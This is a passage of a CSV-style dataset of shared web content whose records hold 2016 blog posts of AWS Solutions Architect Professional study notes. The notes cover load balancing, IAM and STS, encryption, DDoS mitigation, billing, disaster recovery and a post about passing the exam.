credit card data by a merchant or service provider, and has been validated as being compliant with Payment Card Industry (PCI) Data Security Standard (DSS) For Elastic Load Balancing, you pay for each hour or portion of an hour that the service is running, and you pay for each gigabyte of data that is transferred through your load balancer Load balancers can listen on the following ports: [EC2-VPC] 1-65535 [EC2-Classic] 25, 80, 443, 465, 587, 1024-65535 The HTTP requests and HTTP responses use header fields to send information about HTTP messages. Elastic Load Balancing supports X-Forwarded-For headers. Because load balancers intercept traffic between clients and servers, your server access logs contain only the IP address of the load balancer. To see the IP address of the client, use the X-Forwarded-For request header When you use HTTP/HTTPS, you can enable sticky sessions on your load balancer. A sticky session binds a user's session to a specific back-end instance. This ensures that all requests coming from the user during the session are sent to the same back-end instance For each request that a client makes through a load balancer, the load balancer maintains two connections. One connection is with the client and the other connection is to the back-end instance. For each connection, the load balancer manages an idle timeout that is triggered when no data is sent over the connection for a specified time period. After the idle timeout period has elapsed, if no data has been sent or received, the load balancer closes the connection By default, Elastic Load Balancing sets the idle timeout to 60 seconds for both connections If you use HTTP and HTTPS listeners, we recommend that you enable the keep-alive option for your EC2 instances. You can enable keep-alive in your web server settings or in the kernel settings for your EC2 instances. Keep-alive, when enabled, enables the load balancer to re-use connections to your back-end instance, which reduces the CPU utilization. To ensure that the load balancer is responsible for closing the connections to your back-end instance, make sure that the value you set for the keep-alive time is greater than the idle timeout setting on your load balancer. By default, your load balancer distributes incoming requests evenly across its enabled Availability Zones. To ensure that your load balancer distributes incoming requests evenly across all back-end instances, regardless of the Availability Zone that they are in, enable cross-zone load balancing To ensure that the load balancer stops sending requests to instances that are de-registering or unhealthy, while keeping the existing connections open, use connection draining. This enables the load balancer to complete in-flight requests made to instances that are de-registering or unhealthy. Default is 300 seconds (1-3600 seconds available) Proxy Protocol is an Internet protocol used to carry connection information from the source requesting the connection to the destination for which the connection was requested. Elastic Load Balancing uses Proxy Protocol version 1, which uses a human-readable header format. By default, when you use Transmission Control Protocol (TCP) or Secure Sockets Layer (SSL) for both front-end and back-end connections, your load balancer forwards requests to the back-end instances without modifying the request headers. If you enable Proxy Protocol, a human-readable header is added to the request header with connection information such as the source IP address, destination IP address, and port numbers. The header is then sent to the back-end instance as part of the request. You can enable Proxy Protocol on ports that use either the SSL and TCP protocols. You can use Proxy Protocol to capture the source IP of your client when you are using a non-HTTP protocol, or when you are using HTTPS and not terminating the SSL connection on your load balancer Prerequisites to using Proxy Protocol:- Confirm that your load balancer is not behind a proxy server with Proxy Protocol enabled. If Proxy Protocol is enabled on both the proxy server and the load balancer, the load balancer adds another header to the request, which already has a header from the proxy server. Depending on how your back-end instance is configured, this duplication might result in errors. Confirm that your back-end instances can process the Proxy Protocol information You can't assign an Elastic IP address to an ELB IPv4 and v6 supported on an ELB You can load balance a domain apex name, such as bbc.com (no www) Enable CLoudTrail on an ELB to output logs to an S3 bucket Multiple SSL certificates should mean multiple ELBs unless using a wildcard Each load balancer receives a default Domain Name System (DNS) name. This DNS name includes the name of the AWS region in which the load balancer is created. For example, if you create a load balancer named my-loadbalancer in the US West (Oregon) region, your load balancer receives a DNS name such as my-loadbalancer-1234567890.us-west-2.elb.amazonaws.com Use a friendly DNS name for your load balancer, such as , instead of the default DNS name, you can create a custom domain name and associate it with the DNS name for your load balancer To improve the performance of your NAT instance, you can:- Scale up (choose a bigger instance) Enable Enhanced Networking Scale out (add more instances) Create a new NAT instance and new subnet and route new subnet traffic through it. Subnets and NAT instances are associated on a one to one basis HA for NAT is also possible, but remember it's an active/passive configuration",en
1469747678,CONTENT SHARED,8898031730873390440,3302556033962996625,-9000631629770128080,,,,HTML,https://blue-clouds.com/2016/06/27/27-06-16/,AWS Certified Solutions Architect Professional – Study Guide – Domain 3.0: Deployment Management (10%),AWS Certified Solutions Architect Professional - Study Guide - Domain 3.0: Deployment Management (10%) 3.1 Ability to manage the lifecycle of an application on AWS CloudFormation is a way of scripting the deployment of infrastructure and can automatically take care of dependencies and introduce version management CloudFormation supports the following services:- Auto Scaling CloudFront CloudTrail CloudWatch...,en
1469747740,CONTENT SHARED,5558603035498264655,3302556033962996625,-9000631629770128080,,,,HTML,https://blue-clouds.com/2016/07/22/22-07-16/,AWS Certified Solutions Architect Professional – Study Guide – Domain 6.0: Security (20%),"6.1 Design information security management systems and compliance controls AWS Directory Services is a hosted service that allows you to hook up your EC2 instances with an AD either on prem or standalone in the AWS cloud Comes in two flavours:- AD Connector permits access to resources such as Workspaces, WorkMail, EC2 etc via existing AD credentials using IAM AD Connector enforces on premises policies such as password complexities, history, lockout policies etc AD can also use MFA by leveraging RADIUS services Simple AD is based within AWS and runs on a Samba 4 compatible server. Supports:- Simple AD limitations:- Does not support MFA Cannot add additional AD servers Can't create trust relationships Cannot transfer FSMO roles Doesn't support PowerShell scripting In most cases, Simple AD is the least expensive option and your best choice if you have 5,000 or less users and don't need the more advanced Microsoft Active Directory features. AWS Directory Service for Microsoft Active Directory (Enterprise Edition) is a managed Microsoft Active Directory hosted on the AWS Cloud. It provides much of the functionality offered by Microsoft Active Directory plus integration with AWS applications. With the additional Active Directory functionality, you can, for example, easily set up trust relationships with your existing Active Directory domains to extend those directories to AWS services. Microsoft AD is your best choice if you have more than 5,000 users and need a trust relationship setup between an AWS hosted directory and your on-premises directories AD Connector is your best choice when you want to use your existing on-premises directory with AWS services. CloudTrail is used for logging all API calls and events made in all regions in your AWS account. This can be either from the console or via the command line. It is more an auditing tool rather than a logging tool CloudWatch is a monitoring service for AWS services. You can collect and track metrics, collect and track log files and set alarms. Works with EC2, DynamoDB, RDS instances as well as any custom metrics from your applications or log files those apps generate By default, CloudWatch Logs will store your log files indefinitely . You can change the log group retention period at any time Log groups are used to capture log files from instances and can gather them in a single folder structure, grouped by instance ID CloudWatch alarms are only stored for 14 days CloudWatch logging is billed per GB ingested and per GB archived per month, charged per alarm per month Can work out cheaper to store your logs in S3, depending on your environment CloudWatch can be used to monitor CloudTrail by creating logging groups to alert when a particular terms, phrases or values is found in a log file (""error"", etc.). This is the CloudWatch Logs feature. Define a metric filter to create alerts based on keywords or phrases in the log files, this then defines a measurable metric Events can be monitored and shipped to CloudWatch, S3 or to a third party product such as Splunk Don't log to non persistent storage, such as EC2 EBS root volume. Log to S3 or CloudWatch CloudTrail can log across multiple accounts and put logs in a single S3 bucket (needs cross account access) CloudWatch can be used to monitor multiple AWS accounts Awslogs package in Linux installs the log agent and forwards system logs to CloudWatch for collection and alerting Awslogs.conf can be configured to send logging specific information to CloudWatch 6.2 Design security controls with the AWS shared responsibility model and global infrastructure Inline policies are policies that are directly associated to an object (user, for example) and are deleted when the object is deleted. Use cases include:- Requirement for strict one to one policy relationship Ensuring the policy is deleted when the object is deleted Managed policies are created and managed separately, use cases include:- Version management (up to five versions) Configuration rollback Reusability Central management Delegation of permissions management Larger policy size (up to 5K) Can be customer managed or AWS managed (they have little AWS icon next to them) Assign to groups, roles, users etc Up to 10 managed policies may be assigned per object Variables also supported in policies Default policy position is to deny . Explicit deny trumps everything Tags can be used to control access by adding a condition clause into policies - the condition must match a tag for access to be effective (eg. All EC2 instances where the tag matches Cost Centre : IT) IAM policies follow the PARC model Principal (IAM user, group, role) Action (Launch instance, terminate instance, etc.) Resource (EC2 instance, S3 bucket, etc) Condition (where instance = i23523, for example) Wildcards as supported, both asterisk and question marks for granularity NotAction provides a method to exempt or exclude an permission from a resource set, for example having NotAction iam* will grant permissions but not for IAM actions When specifying multiple values in a policy JSON file, this is classed as an array and therefore the values must be wrapped in square brackets [] 6.3 Design identity and access management controls The AWS Security Token Service (STS) is a web service that enables you to request temporary, limited-privilege credentials for AWS Identity and Access Management (IAM) users or for users that you authenticate (federated users) Users come from one of three sources:- Federated (Active Directory, SAML). Uses AD credentials and does not need to be an IAM user, SSO allows login to console without assigning IAM credentials Federation with OpenID web applications (Facebook, Google, Amazon etc) Cross account access (IAM user from another account) Federation is joining users in one domain (IAM) with another (AD, Facebook etc) Identity Broker joins domain A to domain B Identity Store/Provider is AD, Facebook etc Identity is a user of that service or member of that domain On a correct userid and password, STS returns 4 items - access key, secret access key, token and duration (token's lifetime, between 1 and 36 hours,default is 12 hours for GetFederationToken, 1 hour for AssumeRole) Identity Broker takes credentials from the application, checks LDAP. If this is correct, it goes to STS and passes the token for a role using GetFederationToken call using IAM credentials. STS passes the access token with permissions back to the broker who passes it back to the app which then accesses the respective resource (such as S3). Resource then verifies the token has appropriate access Develop an identity broker to communicate with LDAP and STS Broker always communicates with LDAP first and then with STS Application gets temporary access to AWS resources AssumeRole Action returns a set of temporary security credentials (consisting of an access key ID, a secret access key, and a security token) that you can use to access AWS resources that you might not normally have access to. Typically, you use AssumeRole for cross-account access or federation.You can optionally include multi-factor authentication (MFA) information when you call AssumeRole. This is useful for cross-account scenarios in which you want to make sure that the user who is assuming the role has been authenticated using an AWS MFA device AssumeRoleWithWebIdentity returns a set of temporary security credentials for users who have been authenticated in a mobile or web application with a web identity provider, such as Amazon Cognito, Login with Amazon, Facebook, Google, or any OpenID Connect-compatible identity provider. Calling AssumeRoleWithWebIdentity does not require the use of AWS security credentials. Therefore, you can distribute an application (for example, on mobile devices) that requests temporary security credentials without including long-term AWS credentials in the application, and without deploying server-based proxy services that use long-term AWS credentials. Instead, the identity of the caller is validated by using a token from the web identity provider. AssumeRoleWithSAML generally used for AD Federation requests. DecodeAuthorizationMessage decodes additional information about the authorization status of a request from an encoded message returned in response to an AWS request. For example, if a user is not authorized to perform an action that he or she has requested, the request returns a Client.UnauthorizedOperation response (an HTTP 403 response). Some AWS actions additionally return an encoded message that can provide details about this authorization failure GetFederationToken returns a set of temporary security credentials (consisting of an access key ID, a secret access key, and a security token) for a federated user. A typical use is in a proxy application that gets temporary security credentials on behalf of distributed applications inside a corporate network. Because you must call the GetFederationToken action using the long-term security credentials of an IAM user, this call is appropriate in contexts where those credentials can be safely stored, usually in a server-based application. If you are creating a mobile-based or browser-based app that can authenticate users using a web identity provider like Login with Amazon, Facebook, Google, or an OpenID Connect-compatible identity provider, we recommend that you use Amazon Cognito or AssumeRoleWithWebIdentity GetSessionToken returns a set of temporary credentials for an AWS account or IAM user. The credentials consist of an access key ID, a secret access key, and a security token. Typically, you use GetSessionToken if you want to use MFA to protect programmatic calls to specific AWS APIs like Amazon EC2 StopInstances. MFA-enabled IAM users would need to call GetSessionToken and submit an MFA code that is associated with their MFA device. Using the temporary security credentials that are returned from the call, IAM users can then make programmatic calls to APIs that require MFA authentication. If you do not supply a correct MFA code, then the API returns an access denied error. The GetSessionToken action must be called by using the long-term AWS security credentials of the AWS account or an IAM user. Credentials that are created by IAM users are valid for the duration that you specify, between 900 seconds (15 minutes) and 129600 seconds (36 hours); credentials that are created by using account credentials have a maximum duration of 3600 seconds (1 hour) Assertions are used in SAML to map AD groups to AWS roles 6.4 Design protection of Data at Rest controls HSM is a Hardware Security Module and is a physical device used that safeguards and manages cryptographic keys, usually either a plug in card or a physical box HSMs would previously have to be hosted on premises, which could mean latency between the application in AWS and the HSM on the customer site Amazon provides CloudHSM. Keys can be created, stored and managed in a way that is only accessible to you CloudHSM is charged with an upfront fee and then per hour until the instance is terminated. A two week eval is available by request CloudHSM is single tenanted . When you purchase an instance, it's dedicated to you Has to be deployed in a VPC (EC2-Classic will have to add a VPC) VPC peering can be used to access CloudHSM You can use EBS volume encryption, S3 object encryption and key management with CloudHSM, but this does require custom scripting If you need fault tolerance, you need to add a second CloudHSM in a cluster as if you lose your single one, you lose all the keys Can integrate CloudHSM with RDS as well as Redshift Monitor with syslog AWS Key Management Service is used from the IAM console and allows an administrator to define keys for the encryption of data KMS is region based CMK is the Customer Master Key and is the top of the hierarchy and you can add KMS administrators using IAM. Users also need to have permissions via IAM or they are not allowed to use keys to perform encryption tasks Accounts from other AWS accounts can be added as users Key rotation changes the backing key and all backing keys are kept. These are used to encrypt and decrypt data. CMKs would need to be disabled to prevent any of the backing keys being used for encryption or decryption Data encrypted using a key is lost if the key is lost You can select which encryption key is used to create an encrypted EBS volume, for example. If none is selected, the default is the EBS key pre-created in KMS 6.5 Design protection of Data in Flight and Network Perimeter controls NTP amplification can be used with a spoof IP address to return a large packet back to a different target (the intended victim) and flood the target with traffic Reflection attacks involve eliciting a response from a server to a spoofed IP address where the compromised server acts like a reflector Attacks can also take place at the application layer (layer 7) by flooding the web server with GET requests. Slowloris attack is deliberately slow GET requests to open up lots of connections on the web server Limit the attack surface by opening only required ports, use bastion hosts where appropriate and use private subnets WAF is web application filter and provides protection at layer 7 Can use a community based WAF appliance or use the AWS WAF service Stacks can also be scaled horizontally and vertically to meet the additional load placed on your infrastructure by a DDoS attack Scaling out is easier than scaling up as it results in no downtime as instances are added Geo restrictions or blocking can be used with CloudFront to prevent attacks from certain countries. This can be achieved by either using white or black listing Origin Access Identity. Restrict access to S3 buckets by preventing direct user access and forcing them to access objects via CloudFront URLs Alias records in Route 53 can be used to redirect traffic from an existing infrastructure to a new one with greater capacity and WAFs, built to withstand a DDoS attack. No DNS changes and no propagation delays You also need to learn normal behaviour for an application so that you don't block any traffic during month end spikes, for example With C3 , C4 , R3 , D2 , and I2 instances, you can enable Enhanced Networking capabilities, which provides higher network performance (packets per second). This feature uses a network virtualization stack that provides higher I/O performance and lower CPU utilization compared to traditional implementations. With Enhanced Networking, your application can benefit from features that can aid in building resilience against DDoS attacks, such as high packet-per-second performance, low latency networking, and improved scalability. Amazon Route 53 has two capabilities that work together to help ensure end users can access your application even under DDoS attack: shuffle sharding and anycast routing Amazon Route 53 uses shuffle sharding to spread DNS requests over numerous PoPs, thus providing multiple paths and routes for your application Anycast routing increases redundancy by advertising the same IP address from multiple PoPs. In the event that a DDoS attack overwhelms one endpoint, shuffle sharding isolate failures while providing additional routes to your infrastructure Alias Record Sets can save you time and provide additional tools while under attack. For example, suppose an Alias Record Set for example.com points to an ELB load balancer, which is distributing traffic across several EC2 instances running your application. If your application came under attack, you could change the Alias Record Set to point to an Amazon CloudFront distribution or to a different ELB load balancer with higher capacity EC2 instances running WAFs or your own security tools. Amazon Route 53 would then automatically reflect those changes in DNS answers for example.com without any changes to the hosted zone that contains Alias Record Sets for example.com. IDS is Intrusion Detection, IPS is Intrusion Protection IDS/IPS is a virtual appliance installed into the public subnet that may communicate with a SoC such as Trend Micro, sends logs to S3 and an agent is required in each instance to capture and analyse traffic and requests It is possible to restrict access to resources using tags. You can do an explicit deny permission and this overrides everything. Use Action:API permissions to prevent actions via the command line or AWS console",en
1469748175,CONTENT SHARED,-3059841990815099417,3302556033962996625,-9000631629770128080,,,,HTML,https://blue-clouds.com/2016/06/23/23-06-16/,AWS Certified Solutions Architect Professional – Study Guide – Domain 2.0 Costing,"2.1 Demonstrate ability to make architectural decisions that minimize and optimize infrastructure cost Costs can be controlled by using Reserved Instances if the required compute resource is fairly static and predictable - any excess capacity may be resold on the Marketplace. Reserved Instances have three payment models:- All up front (up to 75% discount) Partial upfront (middle discount) No upfront (no discount, but still cheaper than On Demand) Contract length is 1 or 3 years Reserved Instances can be cost effective when the steady state load is known - purchasing RIs to service this requirement and then using On Demand or Spot for bursting can be an effective cost strategy Reserved instances can be modified Can be moved to another AZ Change the instance type within the same family Each instance size has a normalisation factor, which is a unitary value from 0.5 (micro) to 80 (10xlarge) Spot instances can provide ad hoc compute power but are transitory and can be removed without notice if the spot price goes above your limit On Demand instances run on a ""pay as you go"" model Legacy apps that have burstable compute requirements are more efficiently run on instances with burstable CPU credits (T2 instances). Useful for legacy applications that do not support auto scaling Instances use CPU credit balance which expires after 24 hours on a rolling basis. When not using full CPU, credits can accrue and be used to periodically burst Instance types provide optimised instances for different types of workloads and may represent the best cost vs performance question when designing a deployment. Types include:- M3 - Largely as above, but with Ivy Bridge generation CPUs, so one generation back from M4. Use cases - Small and mid-size databases, data processing tasks that require additional memory, caching fleets, and for running backend servers for SAP, Microsoft SharePoint, cluster computing, and other enterprise applications 2.2 Apply the appropriate AWS account and billing set-up options based on scenario EBS volume types are:- General Purpose SSD (3 IOPS per GB with burstable ability, 1 GB - 16 TB) - ""Better"" Provisioned IOPS SSD (up to 20,000 IOPS per volume, 4 GB - 16 TB) - ""Best"" Magnetic (100 IOPS, burstable to hundreds, 500 GB - 16 TB) - ""Good"" 2.3 Ability to compare and contrast the cost implications of different architectures How do you need to handle account management and billing? Consolidated billing provides a way for a ""master"" account called the Paying Account to be responsible for a number of other AWS account's bills ( Linked Accounts ) There is a soft limit of 20 linked accounts but this can be upped by request Advantages of consolidated billing Single bill Easy to track usage and payments Volume pricing discounts across all your accounts combined Reserved Instances not being used can be used to make On Demand instances cheaper. AWS will always apply the cheapest price. You may have acquired a company that already use AWS, you can join them together for billing You may also want to use different accounts for security separation You can use cross account access to provide permissions to resources in other accounts If you need a custom policy (say to provide read/write access to a specific S3 bucket), then create this first Create a role with cross account access (role type) in the primary account IAM Apply the policy to that role and note the ARN Grant access to the role in the secondary account Switch to the role Configure MFA on your main billing root account, use strong passwords Resources should not be deployed in the paying account, this should only really be used for admin purposes Billing alerts can be enabled per account but when alerting is enabled on the paying account then all linked accounts are included CloudTrail is enabled per region and works per AWS account CloudTrail logs can be consolidated into an S3 bucket Enable CloudTrail in the paying account Create a bucket policy that allows cross account access Enable CloudTrail in the other accounts and use the S3 bucket Budgets feature can be used to set a budget for the AWS account(s) and to send alerts when the cost goes over or close to the allocated budget by a certain percentage Budgets works in conjunction with CloudWatch and SNS to send alerts when costs reach a pre-set level Budgets can be set at a granular level (by EC2, S3, etc.) or can be set as an aggregate value across all accounts and all resources Notify by actual or forecasted costs Budget creation then provides a dashboard of total amount spent versus budget amount You can go over budget, these are not caps as such, but alert limits Redshift uses on demand and reserved instances EMR uses on demand and spot instances (RI discounts can be leveraged by starting EMR OD instances in the same AZ and not having RI in use. AWS will apply the discount rates) Remember that different instance types exist so that appropriate workloads can be placed on instance types that provide the best performance at the best price point, so a G2 instance would be used for GPU workloads, for example Unused Reserved Instances can be used to offset the cost of On Demand Instances Linking several accounts can provide additional discounts for services such as S3, which is charged per GB Use tags to provide granular billing per service. Tags work across multiple accounts that are linked using consolidated billing. Resource groups are created using tags and values and show a view of all resources used grouped by tag, including costs. If you need to make S3 content available to a single additional region, consider cross region replication rather than CloudFront. CRR is cheaper and less complex. Can use bi-directional cross region replication so Site A can replicate a bucket to Site B and vice versa for global replication. Versioning provides the ability to use ""Recycle Bin"" type functionality by allowing two writes to the same object concurrently so nothing is lost, two versions of the file are created Can replicate across buckets in different accounts, but IAM must allow the source bucket to write to the destination bucket. Then specify the IAM role you created with the creation policy when configuring CRR. PUTs and DELETEs are both replicated Use different Edge Price Class Locations to save on cost. By default, content is replicated to all regions. US and EU only is cheaper but at the cost of higher potential latency to users in other regions DNS queries for alias records are free of charge, CNAMEs are not",en
1469748371,CONTENT SHARED,-1683903891018782242,3302556033962996625,-9000631629770128080,,,,HTML,https://blue-clouds.com/2016/07/18/18-07-16/,AWS Certified Solutions Architect Professional – Study Guide – Domain 5.0: Data Storage for a complex large scale deployment,"AWS Certified Solutions Architect Professional - Study Guide - Domain 5.0: Data Storage for a complex large scale deployment 5.1 Demonstrate ability to make architectural trade off decisions involving storage options S3 is highly available, replicated object based data within a region S3 can be optimised for specific use cases and costs Glacier is cheaper...",en
1469748525,CONTENT SHARED,-8193923078932592165,3302556033962996625,-9000631629770128080,,,,HTML,https://blue-clouds.com/2016/06/21/21-06-16/,AWS Certified Solutions Architect Professional – Study Guide – Domain 1.0 – High Availability and Business Continuity (15%),"As I mentioned in my previous post, I made a lot of notes when I studied for my AWS SA Pro and I wanted to give something back by publishing them to the community for free. I've done this sort of thing before, and I find it very rewarding. The notes I made were taken from a variety of sources - I used some online training from acloud.guru and LinuxAcademy and supplemented it with QwikLabs hands on exercises and AWS Re:Invent videos on YouTube. Please support the guys behind acloud.guru and LinuxAcademy by purchasing their courses. They're both very good and very complementary to each other. They put a lot of time into developing the content and are priced very competitively. This guide is not enough on it's own to pass and indeed the points I noted may not make much sense to you, but you're welcome to them and I hope they help you. I will publish each domain as a separate post as I need to do a bit of cleaning up and formatting before I can post them. Finally, if you're sitting the exam soon, good luck and I hope you pass! Domain 1.0 High Availability and Business Continuity (15%) 1.1 Demonstrate ability to architect the appropriate level of availability based on stakeholder requirements Stakeholder requirements is key phrase here - look at what the requirements are first before deciding the best way to architect the solution What is availability? Basically up time. Does the customer need 99.99% up time or less? Which products may need to be used to meet this requirement? Look at products which are single AZ, multi AZ and multi region. It may be the case that a couple of instances in a single AZ will suffice if cost is a factor CloudWatch can be used to perform EC2 or auto scaling actions when status checks fail or metrics are exceeded (alarms, etc) 1.2 Demonstrate ability to implement DR for systems based on RPO and RTO What is DR? It is the recovery of systems, services and applications after an unplanned period of downtime. What is RPO? Recovery Point Objective. At which point in time do we need to get back to when DR processes are invoked? This would come from a customer requirement - when systems are recovered, data is consistent from 30 minutes prior to the outage, or 1 hour, or 4 hours etc. What is acceptable to the stakeholder? What is RTO? Recovery Time Objective. How quickly must systems and services be recovered after invoking DR processes? It may be that all critical systems must be back online within a maximum of four hours. RTO and RPO are often paired together to provide an SLA to end users as to when services will be fully restored and how much data may be lost. For example, an RTO of 2 hours and an RPO of 15 minutes would mean all systems would be recovered in two hours or less and consistent to within 15 minutes of the failure. How can low RTO be achieved? This can be done by using elastic scaling, for example or using monitoring scripts to power up new instances using the AWS API. You may also use multi AZ services such as EBS and RDS to provide additional resilience How can low RPO be achieved? This can be done by using application aware and consistent backup tools, usually native ones such as VSS aware ones from Microsoft or RMAN for Oracle, for example. Databases and real time systems may need to be acquiesced to obtain a crash consistent backup. Standard snapshot tools may not provide this. RMAN can backup to S3 or use point in time snapshots using RDS. RMAN is supported on EC2. Use data dump to move large databases. AWS has multi AZ, multi region and services like S3 which has 11 nines of durability with cross region replication Glacier - long term archive storage. Cheap but not appropriate for fast recovery (several hours retrieval SLA) Storage Gateway is a software appliance that sits on premises that can operate in three modes - gateway cached (hot data kept locally but most data stored in S3), gateway stored (all data kept locally but also replicated to S3) and VTL-Tape Library (virtual disk tapes stored in S3, virtual tape shelf stored in Glacier) You should use gateway cached when the requirement is for low cost primary storage with hot data stored locally Gateway stored keeps all data locally but takes asynchronous snapshots to S3 Gateway cached volumes can store 32TB of data, 32 volumes are supported (32 x 32, 1PB) Gateway stored volumes are 16TB in size, 12 volumes are supported (16 x 12, 192TB) Virtual tape library supports 1500 virtual tapes in S3 (150 TB total) Virtual tape shelf is unlimited tapes (uses Glacier) Storage Gateway can be on premises or EC2. Can also schedule snapshots, supports Direct Connect and also bandwidth throttling. Storage Gateway supports ESXi or Hyper-V, 7.5GB RAM, 75GB storage, 4 or 8 vCPU for installation. To use the Marketplace appliance, you must choose xlarge instance or bigger and m3, i2, c3, c4, r3, d2, or m4 instance types Gateway cached requires a separate volume as a buffer upload area and caching area Gateway stored requires enough space to hold your full data set and also an upload buffer VTL also requires an upload buffer and cache area Ports required for Storage Gateway include 443 (HTTPS) to AWS, port 80 for initial activation only, port 3260 for iSCSI internally and port 53 for DNS (internal) Gateway stored snapshots are stored in S3 and can be used to recover data quickly. EBS snapshots can also be used to create a volume to attach to new EC2 instances Can also use gateway snapshots to create a new volume on the gateway itself Snapshots can also be used to migrate cached volumes into stored volumes, stored volumes into cached volumes and also snapshot a volume to create a new EBS volume to attach to an instance Use System Resource Check from the appliance menu to ensure the appliance has enough virtual resources to run (RAM, vCPU, etc.) VTL virtual tape retrieval is instantaneous, whereas Tape Shelf (Glacier) can take up to 24 hours VTL supports Backup Exec 2012-15, Veeam 7 and 8, NetBackup 7, System Center Data Protection 2012, Dell NetVault 10 Snapshots can either be scheduled or done ad hoc Writes to S3 get throttled as the write buffer gets close to capacity - you can monitor this with CloudWatch EBS - Elastic Block Store - block based storage replicated across hosts in a single AZ in a region Direct Connect - connection directly into AWS's data centre via a trusted third party. This can be backed up with standby Direct Connect links or even software VPN Route53 also has 100% uptime SLA, Elastic Load Balancing and VPC can also provide a level of resilience if required DynamoDB has three copies per region and also can perform multi-region replication RDS also supports multi-AZ deployments and read only replicas of data. 5 read only replicas for MySQL, MariaDB and PostGres, 15 for Aurora There are four DR models in the AWS white paper:- Backup and restore (cheap but slow RPO and RTO, use S3 for quick restores and AWS Import/Export for large datasets) Pilot Light (minimal replication of the live environment, like the pilot light in a gas heater, it's used to bring services up with the smallest footprint running in DR. AMIs ready but powered off, brought up manually or by autoscaling. Data must be replicated to DR from the primary site for failover) Warm Standby (again a smaller replication of the live environment but with some services always running to facilitate a quicker failover. It can also be the full complement of servers but running on smaller instances than live. Horizontal scaling is preferred to add more instances to a load balancer) Multi-site (active/active configuration where DNS sends traffic to both sites simultaneously. Auto scaling can also add instances for load where required. DNS weighting can be used to route traffic accordingly). DNS weighting is done as a percentage, so if two records have weightings of 10, then the overall is 20 and the percentage is 50% chance of either being used, this is round robin. Weights of 10 and 40 would mean a total of weight 50, with 1 in 5 chance of weight 10 DNS record being used Import/Export can import data sets into S3, EBS or Glacier. You can only export from S3 Import/Export makes sense for large datasets that cannot be moved or copied into AWS over the internet in an efficient manner (time, cost, etc) AWS will export data back to you encrypted with TrueCrypt AWS will wipe devices after import if specified If exporting from an S3 bucket with versioning enabled, only the most recent version is exported Encryption for imports is optional, mandatory for exports EC2 does not have automated backup. You can use either EBS snapshots or create an AMI Image from a running or stopped instance. The latter option is especially useful if you have an instance storage on the host which is ephemeral and will get deleted when the instance is stopped (Bundle Instance). You can ""copy"" the host storage for the instance by creating an AMI, which can then be copied to another region To restore a file on a server for example, take regular snapshots of the EBS volume, create a volume from the snapshot, mount the volume to the instance, browse and recover the files as necessary MySQL requires InnoDB for automated backups, if you delete an instance then all automated backups are deleted, manual DB snapshots stored in S3 are not deleted All backups are stored in S3 When you do an RDS restore, you can change the engine type (SQL Standard to Enterprise, for example), assuming you have enough storage space. Elasticache automated backups snapshot the whole cluster, so there will be performance degradation whilst this takes place. Backups are stored on S3. Redshift backups are stored on S3 and have a 1 day retention period by default and only backs up delta changes to keep storage consumption to a minimum EC2 snapshots are stored in S3 and are incremental and each snapshot still contains the base snapshot data. You are only charged for the incremental snapshot storage 1.3 Determine appropriate use of multi-Availability Zones vs. multi-Region architectures Multi-AZ services examples are S3, RDS, DynamoDB. Using multi-AZ can mitigate against the loss of up to two AZs (data centres, assuming there are three. Some regions only have two). This can provide a good balance between cost, complexity and reliability Multi-region services can mitigate failures in AZs or individual regions, but may cost more and introduce more infrastructure and complexity. Use ELB for multi-region failover and resilience, CloudFront DynamoDB offers cross region replication, RDS offers the ability to snapshot from one region to another to have read only replicas. Code Pipeline has a built in template for replicating DynamoDB elsewhere for DR Redshift can snapshot within the same region and also replicate to another region 1.4 Demonstrate ability to implement self-healing capabilities HA available already for most popular databases:- SQL Server Availability Groups, SQL Mirroring, log shipping. Read replicas in other AZs not supported MySQL - Asynchronous mirroring Oracle - Data Guard, RAC (RAC not supported on AWS but can run on EC2 by using VPN and Placement Groups as multicast is not supported) RDS has multi-AZ automatic failover to protect against Loss of availability in primary AZ Loss of connectivity to primary DB Storage or host failure of primary DB Software patching (done by AWS, remember) Rebooting of primary DB Uses master and slave model MySQL, Oracle and Postgres use physical layer replication to keep data consistent on the standby instance SQL Server uses application layer mirroring but achieves the same result Multi-AZ uses synchronous replication (consistent read/write), asynchronous (potential data loss) is only used for read replicas DB backups are taken from the secondary to reduce I/O load on the primary DB restores are taken from the secondary to avoid I/O suspension on the primary AZ failover can be forced by rebooting your instance either via the console or via the RebootDBInstance API call Multi-AZ databases are used for DR, not as a scaling solution. Scale can be achieved by using read replicas, this can be done via the AWS console or by using the CreateDBInstanceReadReplica API call Amazon Aurora employs a highly durable, SSD-backed virtualized storage layer purpose-built for database workloads. Amazon Aurora automatically replicates your volume six ways, across three Availability Zones. Amazon Aurora storage is fault-tolerant, transparently handling the loss of up to two copies of data without affecting database write availability and up to three copies without affecting read availability . Amazon Aurora storage is also self-healing. Data blocks and disks are continuously scanned for errors and replaced automatically. Creating a read replica means a snapshot of your primary DB instance, this may result in a pause of about a minute in non multi-AZ deployments Multi-AZ deployments will use a secondary for a snapshot A new DNS endpoint address is given for the read only replica, you need to update the app You can promote a read only replica to be a standalone, but this breaks replication MySQL and Postgres can have up to 5 replicas Read replicas in different regions for MySQL only Replication is asynchronous only Read replicas can be built off Multi-AZ databases Read replicas are not multi-AZ MySQL can have read replicas of read replicas, but this increases latency DB Snapshots and automated backups cannot be taken of read replicas",en
1469748828,CONTENT SHARED,-4458371007893120981,3302556033962996625,-9000631629770128080,,,,HTML,https://blue-clouds.com/2016/06/10/10-06-16/,Achievement Unlocked : AWS Certified Solutions Architect Professional,"Well at the third (and final) attempt yesterday I finally managed to crack the AWS Certified Solutions Architect Professional certification. It's been a long road that started pretty much as soon as I passed the CSA Associate in December (seems a lifetime ago now!) and two failures and a lot of pain and expense later, I've managed to stagger over the line. The exam itself is 77 questions over 2 hours and 50 minutes, and if you're doing a proper job, you'll need all of that time. Even if you're a massive AWS ninja, the questions and answers in most cases are so long and drawn out that it takes a minute or so to properly read, digest and understand what is being asked. Without a doubt, it's one of the trickiest exams I've ever sat and there's a lot I've learned from it. Not just technically, but about exam technique. The exam content is pretty faithful to the blueprint, as you'd expect. As it's an architecture focused exam, you don't need to know the guts of particular commands, but you do need to know pretty much all of the ""major"" services in the console pretty well in order to get through it successfully. Topics included:- If that looks like a lot of stuff to know, that's because it is! There are obviously other services in the console that I haven't mentioned (CodePipeline, Config, Trusted Advisor, etc.) but that doesn't mean that they won't come up in your exam. As I've sat it three times now, I'd like to think that I've seen pretty much all of the question bank and while there were quite a few recurring questions, there were some that I only saw once. In terms of how to study for the exam, it's recommended you have at least a year's experience of AWS. I don't. More like 8 months, if anyone's counting. If you've used Azure, many of the principles and constructs are the same, except AWS tends to use funky names for services which 